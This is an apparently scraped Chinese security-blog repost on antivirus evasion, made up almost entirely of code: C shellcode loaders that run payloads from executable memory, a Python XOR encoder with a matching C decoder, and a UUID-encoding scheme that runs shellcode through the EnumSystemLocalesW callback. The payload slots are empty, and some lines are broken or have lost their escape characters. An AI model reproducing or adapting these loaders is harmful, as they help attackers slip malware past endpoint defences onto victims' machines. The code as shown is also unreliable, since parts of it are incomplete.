unsigned char buf[] = "";
int main() {
char* Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
return 1;
}
#!/usr/bin/env python
# encoding: utf-8
'''
@Author : xd
@Date : 2021-01-23 15:57
@Description : shellcode XOR加密.
'''
import random
buf = b"""[shellcode]"""
key = random.randint(30, 90)
def encrypt():
print("key:%s" % key)
i = 1
st = ''
for c in buf:
if i == key:
i = 1
st += '%#x' % (c ^ i)
i += 1
st = st.replace("0x", "\x")
print(st)
if __name__ == "__main__":
encrypt()
int main()
{
unsigned char encryptedShellcode[] = ""; //加密后的shellcode
int key = ; //key值
unsigned char buf[sizeof(encryptedShellcode)];
int len = sizeof(encryptedShellcode);
int j = 1;
for (int i = 0; i < len; ++i)
{
if (j == key) j = 1;
buf[i] = encryptedShellcode[i] ^ j;
++j;
}
char* addr;
addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr == NULL) return -1;
memcpy(addr, buf, sizeof(buf));
((void(*)())addr)();
return 0;
}
#coding=utf-8
import uuid
#Input your shellcode like:xfcx48x83xe4xf0xe8xxx
buf = b"""[shellcode]"""
import uuid
def convertToUUID(shellcode):
# If shellcode is not in multiples of 16, then add some nullbytes at the end
if len(shellcode) % 16 != 0:
print("[-] Shellcode's length not multiplies of 16 bytes")
print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
print("n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))
addNullbyte = b"x00" * (16 - (len(shellcode) % 16))
shellcode += addNullbyte
uuids = []
for i in range(0, len(shellcode), 16):
uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))
uuids.append(uuidString.replace("'", """))
return uuids
u = convertToUUID(buf)
print(str(u).replace("'", """))
const char *uuids[] = ;//uuid数组
int main()
{
int len = sizeof(uuids)/sizeof(char*);
char* addr = NULL;
addr = HeapCreate(0x00040000, 0, 0);
if (addr == NULL) return -1;
ZwAllocateVirtualMemory(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* addrPtr = addr;
for (int i = 0; i < len; ++i)
{
byte* u = (byte*)uuids[i];
RPC_STATUS rpcStatus = UuidFromStringA(&u[0], addrPtr);
if (rpcStatus != 0) return 0;
addrPtr += 16;
}
EnumSystemLocalesW(addr, 0);
return 0;
}
Fake dnSpy - 这鸡汤里下了毒!
ADCS攻击面挖掘与利用
安全认证相关漏洞挖掘
原文始发于微信公众号(酒仙桥六号部队):远控免杀从入门到实践 | 技术精选0141
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论